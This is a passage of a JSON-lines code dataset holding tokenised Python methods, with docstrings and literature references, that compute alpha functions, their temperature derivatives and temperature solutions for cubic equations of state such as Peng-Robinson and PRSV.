\\left(c_{2} \n            - 1\\right)} e^{c_{1} \\left(- \\left(\\frac{T}{Tc}\n            \\right)^{c_{2} c_{3}} + 1\\right)}\n\n        References\n        ----------\n        .. [1] Twu, Chorng H., David Bluck, John R. Cunningham, and John E. \n           Coon. \"A Cubic Equation of State with a New Alpha Function and a \n           New Mixing Rule.\" Fluid Phase Equilibria 69 (December 10, 1991): \n           33-50. doi:10.1016/0378-3812(91)90024-2.", "id": "f15780:c2:m13"}
{"signature": "@staticmethod<EOL><INDENT>def Soave_1993(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(-T/Tc + <NUM_LIT:1>) + c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + <NUM_LIT:1>)<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-c1/Tc - c2*sqrt(T/Tc)*(-sqrt(T/Tc) + <NUM_LIT:1>)/T)<EOL>d2a_alpha_dT2 = a*(c2*(<NUM_LIT:1>/Tc - sqrt(T/Tc)*(sqrt(T/Tc) - <NUM_LIT:1>)/T)/(<NUM_LIT:2>*T))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Soave (1983) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Two coefficient needed.\n\n        .. math::\n            \\alpha = c_{1} \\left(- \\frac{T}{Tc} + 1\\right) + c_{2} \n            \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)^{2} + 1\n\n        References\n        ----------\n        .. [1] Soave, G. \"Improving the Treatment of Heavy Hydrocarbons by the \n           SRK EOS.\" Fluid Phase Equilibria 84 (April 1, 1993): 339-42. \n           doi:10.1016/0378-3812(93)85131-5.", "id": "f15780:c2:m14"}
{"signature": "@staticmethod<EOL><INDENT>def Gasem(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(exp((-(T/Tc)**c3 + <NUM_LIT:1>)*(T*c2/Tc + c1)))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((c2*(-(T/Tc)**c3 + <NUM_LIT:1>)/Tc - c3*(T/Tc)**c3*(T*c2/Tc + c1)/T)*exp((-(T/Tc)**c3 + <NUM_LIT:1>)*(T*c2/Tc + c1)))<EOL>d2a_alpha_dT2 = a*(((c2*((T/Tc)**c3 - <NUM_LIT:1>)/Tc + c3*(T/Tc)**c3*(T*c2/Tc + c1)/T)**<NUM_LIT:2> - c3*(T/Tc)**c3*(<NUM_LIT:2>*c2/Tc + c3*(T*c2/Tc + c1)/T - (T*c2/Tc + c1)/T)/T)*exp(-((T/Tc)**c3 - <NUM_LIT:1>)*(T*c2/Tc + c1)))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Gasem (2001) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = e^{\\left(- \\left(\\frac{T}{Tc}\\right)^{c_{3}} + 1\\right) \n            \\left(\\frac{T c_{2}}{Tc} + c_{1}\\right)}\n\n        References\n        ----------\n        .. [1] Gasem, K. A. M, W Gao, Z Pan, and R. L Robinson Jr. \"A Modified \n           Temperature Dependence for the Peng-Robinson Equation of State.\" \n           Fluid Phase Equilibria 181, no. 1\u20132 (May 25, 2001): 113-25. \n           doi:10.1016/S0378-3812(01)00488-5.", "id": "f15780:c2:m15"}
{"signature": "@staticmethod<EOL><INDENT>def Coquelet(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(exp(c1*(-T/Tc + <NUM_LIT:1>)*(c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)**<NUM_LIT:2>))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((c1*(-T/Tc + <NUM_LIT:1>)*(-<NUM_LIT:2>*c2*sqrt(T/Tc)*(-sqrt(T/Tc) + <NUM_LIT:1>)/T - <NUM_LIT:3>*c3*sqrt(T/Tc)*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2>/T)*(c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>) - c1*(c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)**<NUM_LIT:2>/Tc)*exp(c1*(-T/Tc + <NUM_LIT:1>)*(c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)**<NUM_LIT:2>))<EOL>d2a_alpha_dT2 = a*(c1*(c1*(-(c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2> - c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(-<NUM_LIT:2>*c2 + <NUM_LIT:3>*c3*(sqrt(T/Tc) - <NUM_LIT:1>))*(sqrt(T/Tc) - <NUM_LIT:1>)*(T/Tc - <NUM_LIT:1>)/T)**<NUM_LIT:2>*(c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2> - c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)**<NUM_LIT:2> - ((T/Tc - <NUM_LIT:1>)*(c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2> - c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)*(<NUM_LIT:2>*c2/Tc - <NUM_LIT:6>*c3*(sqrt(T/Tc) - <NUM_LIT:1>)/Tc - <NUM_LIT:2>*c2*sqrt(T/Tc)*(sqrt(T/Tc) - <NUM_LIT:1>)/T + <NUM_LIT:3>*c3*sqrt(T/Tc)*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2>/T) + <NUM_LIT:4>*sqrt(T/Tc)*(<NUM_LIT:2>*c2 - <NUM_LIT:3>*c3*(sqrt(T/Tc) - <NUM_LIT:1>))*(sqrt(T/Tc) - <NUM_LIT:1>)*(c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2> - c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)/Tc + (<NUM_LIT:2>*c2 - <NUM_LIT:3>*c3*(sqrt(T/Tc) - <NUM_LIT:1>))**<NUM_LIT:2>*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2>*(T/Tc - <NUM_LIT:1>)/Tc)/(<NUM_LIT:2>*T))*exp(-c1*(T/Tc - <NUM_LIT:1>)*(c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2> - c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)**<NUM_LIT:2>))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Coquelet et al. (2004) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = e^{c_{1} \\left(- \\frac{T}{Tc} + 1\\right) \\left(c_{2} \n            \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)^{2} + c_{3} \n            \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)^{3} + 1\\right)^{2}}\n\n        References\n        ----------\n        .. [1] Coquelet, C., A. Chapoy, and D. Richon. \"Development of a New \n           Alpha Function for the Peng\u2013Robinson Equation of State: Comparative \n           Study of Alpha Function Models for Pure Gases (Natural Gas \n           Components) and Water-Gas Systems.\" International Journal of \n           Thermophysics 25, no. 1 (January 1, 2004): 133-58. \n           doi:10.1023/B:IJOT.0000022331.46865.2f.", "id": "f15780:c2:m16"}
{"signature": "@staticmethod<EOL><INDENT>def Haghtalab(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*exp((-c3**log(T/Tc) + <NUM_LIT:1>)*(-T*c2/Tc + c1))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((-c2*(-c3**log(T/Tc) + <NUM_LIT:1>)/Tc - c3**log(T/Tc)*(-T*c2/Tc + c1)*log(c3)/T)*exp((-c3**log(T/Tc) + <NUM_LIT:1>)*(-T*c2/Tc + c1)))<EOL>d2a_alpha_dT2 = a*(((c2*(c3**log(T/Tc) - <NUM_LIT:1>)/Tc + c3**log(T/Tc)*(T*c2/Tc - c1)*log(c3)/T)**<NUM_LIT:2> + c3**log(T/Tc)*(<NUM_LIT:2>*c2/Tc + (T*c2/Tc - c1)*log(c3)/T - (T*c2/Tc - c1)/T)*log(c3)/T)*exp((c3**log(T/Tc) - <NUM_LIT:1>)*(T*c2/Tc - c1)))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Haghtalab et al. (2010) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = e^{\\left(- c_{3}^{\\log{\\left (\\frac{T}{Tc} \\right )}} \n            + 1\\right) \\left(- \\frac{T c_{2}}{Tc} + c_{1}\\right)}\n\n        References\n        ----------\n        .. [1] Haghtalab, A., M. J. Kamali, S. H. Mazloumi, and P. Mahmoodi. \n           \"A New Three-Parameter Cubic Equation of State for Calculation \n           Physical Properties and Vapor-liquid Equilibria.\" Fluid Phase \n           Equilibria 293, no. 2 (June 25, 2010): 209-18. \n           doi:10.1016/j.fluid.2010.03.029.", "id": "f15780:c2:m17"}
{"signature": "@staticmethod<EOL><INDENT>def Saffari(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(exp(T*c1/Tc + c2*log(T/Tc) + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((c1/Tc + c2/T - c3*sqrt(T/Tc)/(<NUM_LIT:2>*T))*exp(T*c1/Tc + c2*log(T/Tc) + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)))<EOL>d2a_alpha_dT2 = a*(((<NUM_LIT:2>*c1/Tc + <NUM_LIT:2>*c2/T - c3*sqrt(T/Tc)/T)**<NUM_LIT:2> - (<NUM_LIT:4>*c2 - c3*sqrt(T/Tc))/T**<NUM_LIT:2>)*exp(T*c1/Tc + c2*log(T/Tc) - c3*(sqrt(T/Tc) - <NUM_LIT:1>))/<NUM_LIT:4>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Saffari and Zahedi (2013) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = e^{\\frac{T c_{1}}{Tc} + c_{2} \\log{\\left (\\frac{T}{Tc} \n            \\right )} + c_{3} \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)}\n\n        References\n        ----------\n        .. [1] Saffari, Hamid, and Alireza Zahedi. \"A New Alpha-Function for \n           the Peng-Robinson Equation of State: Application to Natural Gas.\" \n           Chinese Journal of Chemical Engineering 21, no. 10 (October 1, \n           2013): 1155-61. doi:10.1016/S1004-9541(13)60581-9.", "id": "f15780:c2:m18"}
{"signature": "@staticmethod<EOL><INDENT>def Chen_Yang(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3, c4, c5, c6, c7 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*exp(c4*log((-sqrt(T/Tc) + <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)**<NUM_LIT:2> + (-T/Tc + <NUM_LIT:1>)*(c1 + c2*omega + c3*omega**<NUM_LIT:2>))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-(c1 + c2*omega + c3*omega**<NUM_LIT:2>)/Tc - c4*sqrt(T/Tc)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>)*log((-sqrt(T/Tc) + <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)/(T*((-sqrt(T/Tc) + <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)))*exp(c4*log((-sqrt(T/Tc) + <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)**<NUM_LIT:2> + (-T/Tc + <NUM_LIT:1>)*(c1 + c2*omega + c3*omega**<NUM_LIT:2>))<EOL>d2a_alpha_dT2 = a*(((c1 + c2*omega + c3*omega**<NUM_LIT:2>)/Tc - c4*sqrt(T/Tc)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>)*log(-(sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)/(T*((sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) - <NUM_LIT:1>)))**<NUM_LIT:2> - c4*(c5 + c6*omega + c7*omega**<NUM_LIT:2>)*((c5 + c6*omega + c7*omega**<NUM_LIT:2>)*log(-(sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)/(Tc*((sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) - <NUM_LIT:1>)) - (c5 + c6*omega + c7*omega**<NUM_LIT:2>)/(Tc*((sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) - <NUM_LIT:1>)) + sqrt(T/Tc)*log(-(sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)/T)/(<NUM_LIT:2>*T*((sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) - <NUM_LIT:1>)))*exp(c4*log(-(sqrt(T/Tc) - <NUM_LIT:1>)*(c5 + c6*omega + c7*omega**<NUM_LIT:2>) + <NUM_LIT:1>)**<NUM_LIT:2> - (T/Tc - <NUM_LIT:1>)*(c1 + c2*omega + c3*omega**<NUM_LIT:2>))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Hamid and Yang (2017) [1]_. Returns `a_alpha`,\n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`\n        for more documentation. Seven coefficients needed.\n\n        .. math::\n            \\alpha = e^{\\left(- c_{3}^{\\log{\\left (\\frac{T}{Tc} \\right )}} \n            + 1\\right) \\left(- \\frac{T c_{2}}{Tc} + c_{1}\\right)}\n\n        References\n        ----------\n        .. [1] Chen, Zehua, and Daoyong Yang. \"Optimization of the Reduced \n           Temperature Associated with Peng\u2013Robinson Equation of State and \n           Soave-Redlich-Kwong Equation of State To Improve Vapor Pressure \n           Prediction for Heavy Hydrocarbon Compounds.\" Journal of Chemical & \n           Engineering Data, August 31, 2017. doi:10.1021/acs.jced.7b00496.", "id": "f15780:c2:m19"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "if not full:<EOL><INDENT>return self.a*(<NUM_LIT:1> + self.kappa*(<NUM_LIT:1>-(T/self.Tc)**<NUM_LIT:0.5>))**<NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>if quick:<EOL><INDENT>Tc, kappa = self.Tc, self.kappa<EOL>x0 = T**<NUM_LIT:0.5><EOL>x1 = Tc**-<NUM_LIT:0.5><EOL>x2 = kappa*(x0*x1 - <NUM_LIT:1.>) - <NUM_LIT:1.><EOL>x3 = self.a*kappa<EOL>a_alpha = self.a*x2*x2<EOL>da_alpha_dT = x1*x2*x3/x0<EOL>d2a_alpha_dT2 = x3*(-<NUM_LIT:0.5>*T**-<NUM_LIT>*x1*x2 + <NUM_LIT:0.5>/(T*Tc)*kappa)<EOL><DEDENT>else:<EOL><INDENT>a_alpha = self.a*(<NUM_LIT:1> + self.kappa*(<NUM_LIT:1>-(T/self.Tc)**<NUM_LIT:0.5>))**<NUM_LIT:2><EOL>da_alpha_dT = -self.a*self.kappa*sqrt(T/self.Tc)*(self.kappa*(-sqrt(T/self.Tc) + <NUM_LIT:1.>) + <NUM_LIT:1.>)/T<EOL>d2a_alpha_dT2 = self.a*self.kappa*(self.kappa/self.Tc - sqrt(T/self.Tc)*(self.kappa*(sqrt(T/self.Tc) - <NUM_LIT:1.>) - <NUM_LIT:1.>)/T)/(<NUM_LIT>*T)<EOL><DEDENT>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `kappa`, and `a`. \n\n        For use in `solve_T`, returns only `a_alpha` if full is False.\n\n        .. math::\n            a\\alpha = a \\left(\\kappa \\left(- \\frac{T^{0.5}}{Tc^{0.5}} \n            + 1\\right) + 1\\right)^{2}\n\n            \\frac{d a\\alpha}{dT} = - \\frac{1.0 a \\kappa}{T^{0.5} Tc^{0.5}}\n            \\left(\\kappa \\left(- \\frac{T^{0.5}}{Tc^{0.5}} + 1\\right) + 1\\right)\n\n            \\frac{d^2 a\\alpha}{dT^2} = 0.5 a \\kappa \\left(- \\frac{1}{T^{1.5} \n            Tc^{0.5}} \\left(\\kappa \\left(\\frac{T^{0.5}}{Tc^{0.5}} - 1\\right)\n            - 1\\right) + \\frac{\\kappa}{T^{1.0} Tc^{1.0}}\\right)", "id": "f15780:c3:m1"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "Tc, a, b, kappa = self.Tc, self.a, self.b, self.kappa<EOL>if quick:<EOL><INDENT>x0 = V*V<EOL>x1 = R*Tc<EOL>x2 = x0*x1<EOL>x3 = kappa*kappa<EOL>x4 = a*x3<EOL>x5 = b*x4<EOL>x6 = <NUM_LIT>*V*b<EOL>x7 = x1*x6<EOL>x8 = b*b<EOL>x9 = x1*x8<EOL>x10 = V*x4<EOL>x11 = (-x10 + x2 + x5 + x7 - x9)**<NUM_LIT:2><EOL>x12 = x0*x0<EOL>x13 = R*R<EOL>x14 = Tc*Tc<EOL>x15 = x13*x14<EOL>x16 = x8*x8<EOL>x17 = a*a<EOL>x18 = x3*x3<EOL>x19 = x17*x18<EOL>x20 = x0*V<EOL>x21 = <NUM_LIT>*R*Tc*a*x3<EOL>x22 = x8*b<EOL>x23 = <NUM_LIT>*V*x22<EOL>x24 = <NUM_LIT>*b*x20<EOL>x25 = a*x1<EOL>x26 = x25*x8<EOL>x27 = x26*x3<EOL>x28 = x0*x25<EOL>x29 = x28*x3<EOL>x30 = <NUM_LIT>*x8<EOL>x31 = <NUM_LIT>*V*x27 - <NUM_LIT>*b*x29 + x0*x13*x14*x30 + x0*x19 + x12*x15 + x15*x16 - x15*x23 + x15*x24 - x19*x6 + x19*x8 - x20*x21 - x21*x22<EOL>x32 = V - b<EOL>x33 = <NUM_LIT>*(R*Tc*a*kappa)<EOL>x34 = P*x2<EOL>x35 = P*x5<EOL>x36 = x25*x3<EOL>x37 = P*x10<EOL>x38 = P*R*Tc<EOL>x39 = V*x17<EOL>x40 = <NUM_LIT>*kappa*x3<EOL>x41 = b*x17<EOL>x42 = P*a*x3<EOL>return -Tc*(<NUM_LIT>*a*kappa*x11*sqrt(x32**<NUM_LIT:3>*(x0 + x6 - x8)*(P*x7 - P*x9 + x25 + x33 + x34 + x35 + x36 - x37))*(kappa + <NUM_LIT:1.>) - x31*x32*((<NUM_LIT>*V)*(R*Tc*a*b*kappa) + x0*x33 - x0*x35 + x12*x38 + x16*x38 + x18*x39 - x18*x41 - x20*x42 - x22*x42 - x23*x38 + x24*x38 + x25*x6 - x26 - x27 + x28 + x29 + x3*x39 - x3*x41 + x30*x34 - x33*x8 + x36*x6 + <NUM_LIT:3>*x37*x8 + x39*x40 - x40*x41))/(x11*x31)<EOL><DEDENT>else:<EOL><INDENT>return Tc*(-<NUM_LIT:2>*a*kappa*sqrt((V - b)**<NUM_LIT:3>*(V**<NUM_LIT:2> + <NUM_LIT:2>*V*b - b**<NUM_LIT:2>)*(P*R*Tc*V**<NUM_LIT:2> + <NUM_LIT:2>*P*R*Tc*V*b - P*R*Tc*b**<NUM_LIT:2> - P*V*a*kappa**<NUM_LIT:2> + P*a*b*kappa**<NUM_LIT:2> + R*Tc*a*kappa**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*a*kappa + R*Tc*a))*(kappa + <NUM_LIT:1>)*(R*Tc*V**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*V*b - R*Tc*b**<NUM_LIT:2> - V*a*kappa**<NUM_LIT:2> + a*b*kappa**<NUM_LIT:2>)**<NUM_LIT:2> + (V - b)*(R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:4> + <NUM_LIT:4>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:3>*b + <NUM_LIT:2>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:2>*b**<NUM_LIT:2> - <NUM_LIT:4>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V*b**<NUM_LIT:3> + R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*b**<NUM_LIT:4> - <NUM_LIT:2>*R*Tc*V**<NUM_LIT:3>*a*kappa**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*V**<NUM_LIT:2>*a*b*kappa**<NUM_LIT:2> + <NUM_LIT:6>*R*Tc*V*a*b**<NUM_LIT:2>*kappa**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*a*b**<NUM_LIT:3>*kappa**<NUM_LIT:2> + V**<NUM_LIT:2>*a**<NUM_LIT:2>*kappa**<NUM_LIT:4> - <NUM_LIT:2>*V*a**<NUM_LIT:2>*b*kappa**<NUM_LIT:4> + a**<NUM_LIT:2>*b**<NUM_LIT:2>*kappa**<NUM_LIT:4>)*(P*R*Tc*V**<NUM_LIT:4> + <NUM_LIT:4>*P*R*Tc*V**<NUM_LIT:3>*b + <NUM_LIT:2>*P*R*Tc*V**<NUM_LIT:2>*b**<NUM_LIT:2> - <NUM_LIT:4>*P*R*Tc*V*b**<NUM_LIT:3> + P*R*Tc*b**<NUM_LIT:4> - P*V**<NUM_LIT:3>*a*kappa**<NUM_LIT:2> - P*V**<NUM_LIT:2>*a*b*kappa**<NUM_LIT:2> + <NUM_LIT:3>*P*V*a*b**<NUM_LIT:2>*kappa**<NUM_LIT:2> - P*a*b**<NUM_LIT:3>*kappa**<NUM_LIT:2> + R*Tc*V**<NUM_LIT:2>*a*kappa**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*V**<NUM_LIT:2>*a*kappa + R*Tc*V**<NUM_LIT:2>*a + <NUM_LIT:2>*R*Tc*V*a*b*kappa**<NUM_LIT:2> + <NUM_LIT:4>*R*Tc*V*a*b*kappa + <NUM_LIT:2>*R*Tc*V*a*b - R*Tc*a*b**<NUM_LIT:2>*kappa**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*a*b**<NUM_LIT:2>*kappa - R*Tc*a*b**<NUM_LIT:2> + V*a**<NUM_LIT:2>*kappa**<NUM_LIT:4> + <NUM_LIT:2>*V*a**<NUM_LIT:2>*kappa**<NUM_LIT:3> + V*a**<NUM_LIT:2>*kappa**<NUM_LIT:2> - a**<NUM_LIT:2>*b*kappa**<NUM_LIT:4> - <NUM_LIT:2>*a**<NUM_LIT:2>*b*kappa**<NUM_LIT:3> - a**<NUM_LIT:2>*b*kappa**<NUM_LIT:2>))/((R*Tc*V**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*V*b - R*Tc*b**<NUM_LIT:2> - V*a*kappa**<NUM_LIT:2> + a*b*kappa**<NUM_LIT:2>)**<NUM_LIT:2>*(R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:4> + <NUM_LIT:4>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:3>*b + <NUM_LIT:2>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:2>*b**<NUM_LIT:2> - <NUM_LIT:4>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V*b**<NUM_LIT:3> + R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*b**<NUM_LIT:4> - <NUM_LIT:2>*R*Tc*V**<NUM_LIT:3>*a*kappa**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*V**<NUM_LIT:2>*a*b*kappa**<NUM_LIT:2> + <NUM_LIT:6>*R*Tc*V*a*b**<NUM_LIT:2>*kappa**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*a*b**<NUM_LIT:3>*kappa**<NUM_LIT:2> + V**<NUM_LIT:2>*a**<NUM_LIT:2>*kappa**<NUM_LIT:4> - <NUM_LIT:2>*V*a**<NUM_LIT:2>*b*kappa**<NUM_LIT:4> + a**<NUM_LIT:2>*b**<NUM_LIT:2>*kappa**<NUM_LIT:4>))<EOL><DEDENT>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the PR\n        EOS. Uses `Tc`, `a`, `b`, and `kappa` as well, obtained from the \n        class's namespace.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]\n\n        Notes\n        -----\n        The exact solution can be derived as follows, and is excluded for \n        breviety.\n\n        >>> from sympy import *\n        >>> P, T, V = symbols('P, T, V')\n        >>> Tc, Pc, omega = symbols('Tc, Pc, omega')\n        >>> R, a, b, kappa = symbols('R, a, b, kappa')\n\n        >>> a_alpha = a*(1 + kappa*(1-sqrt(T/Tc)))**2\n        >>> PR_formula = R*T/(V-b) - a_alpha/(V*(V+b)+b*(V-b)) - P\n        >>> #solve(PR_formula, T)", "id": "f15780:c3:m2"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "Tc, a, b, kappa0, kappa1 = self.Tc, self.a, self.b, self.kappa0, self.kappa1<EOL>if quick:<EOL><INDENT>x0 = V - b<EOL>R_x0 = R/x0<EOL>x3 = (<NUM_LIT>*(V*(V + b) + b*x0))<EOL>x4 = <NUM_LIT>*kappa0<EOL>kappa110 = kappa1*<NUM_LIT><EOL>kappa17 = kappa1*<NUM_LIT><EOL>def to_solve(T):<EOL><INDENT>x1 = T/Tc<EOL>x2 = x1**<NUM_LIT:0.5><EOL>return (T*R_x0 - a*((x4 - (kappa110*x1 - kappa17)*(x2 + <NUM_LIT:1.>))*(x2 - <NUM_LIT:1.>) - <NUM_LIT>)**<NUM_LIT:2>/x3) - P<EOL><DEDENT><DEDENT>else:<EOL><INDENT>def to_solve(T):<EOL><INDENT>P_calc = R*T/(V - b) - a*((kappa0 + kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)**<NUM_LIT:2>/(V*(V + b) + b*(V - b))<EOL>return P_calc - P<EOL><DEDENT><DEDENT>return newton(to_solve, Tc*<NUM_LIT:0.5>)<EOL>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the PRSV\n        EOS. Uses `Tc`, `a`, `b`, `kappa0`  and `kappa` as well, obtained from  \n        the class's namespace.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            